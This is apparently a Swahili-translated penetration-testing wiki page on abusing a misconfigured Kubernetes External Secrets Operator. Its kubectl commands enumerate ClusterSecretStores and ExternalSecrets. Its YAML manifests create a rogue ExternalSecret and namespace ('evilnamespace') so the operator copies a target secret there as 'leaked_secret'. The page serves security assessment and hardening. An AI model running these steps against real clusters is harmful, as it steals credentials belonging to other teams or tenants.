External Secret Operator
Reading time: 2 minutes
Mwandishi wa awali wa ukurasa huu ni Fares
Ukurasa huu unatoa vidokezo juu ya jinsi unavyoweza kufanikisha kuiba siri kutoka kwa ESO isiyo na usanidi mzuri au programu inayotumia ESO kusawazisha siri zake.
Disclaimer
Mbinu iliyoonyeshwa hapa chini inaweza kufanya kazi tu wakati hali fulani zinakutana. Kwa mfano, inategemea mahitaji yanayohitajika kuruhusu siri kusawazishwa kwenye namespace ambayo unamiliki / umevamia. Unahitaji kujifunza mwenyewe.
Prerequisites
- Kuwepo katika klasta ya kubernetes / openshift yenye haki za admin kwenye namespace
- Ufikiaji wa kusoma angalau ExternalSecret katika ngazi ya klasta
- Jifunze kama kuna lebo / maelezo au uanachama wa kikundi wowote unaohitajika ambao unaruhusu ESO kusawazisha siri yako. Ikiwa una bahati, unaweza kuiba kwa urahisi siri yoyote iliyofafanuliwa.
Gathering information about existing ClusterSecretStore
Tukidhani kwamba una watumiaji ambao wana haki za kutosha kusoma rasilimali hii; anza kwa kwanza kuorodhesha ClusterSecretStores zilizopo.
kubectl get ClusterSecretStore
ExternalSecret enumeration
Tuchukulie kuwa umepata ClusterSecretStore inayoitwa mystore. Endelea kwa kuhesabu externalsecret zake zinazohusiana.
kubectl get externalsecret -A | grep mystore
Rasilimali hii ina upeo wa namespace hivyo isipokuwa unajua tayari ni namespace ipi ya kutafuta, ongeza chaguo la -A kutafuta katika namespaces zote.
Unapaswa kupata orodha ya externalsecret zilizofafanuliwa. Tuone umefind externalsecret object inayoitwa mysecret iliyofafanuliwa na kutumiwa na namespace mynamespace. Kusanya taarifa zaidi kuhusu ni aina gani ya siri inayoishikilia.
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
Kuunganisha vipande
Kutoka hapa unaweza kupata jina la siri moja au nyingi (kama ilivyoainishwa katika rasilimali ya Siri). Utapata matokeo kama yafuatayo:
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
Hadi sasa tumepata:
- Jina la ClusterSecretStore
- Jina la ExternalSecret
- Jina la siri
Sasa kwamba tuna kila kitu tunachohitaji, unaweza kuunda ExternalSecret (na hatimaye kuboresha/kuunda Namespace mpya ili kuzingatia mahitaji yanayohitajika ili kupata siri yako mpya iunganishwe):
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
Baada ya dakika chache, ikiwa masharti ya usawazishaji yalitimia, unapaswa kuwa na uwezo wa kuona siri iliyovuja ndani ya namespace yako.
kubectl get secret leaked_secret -o yaml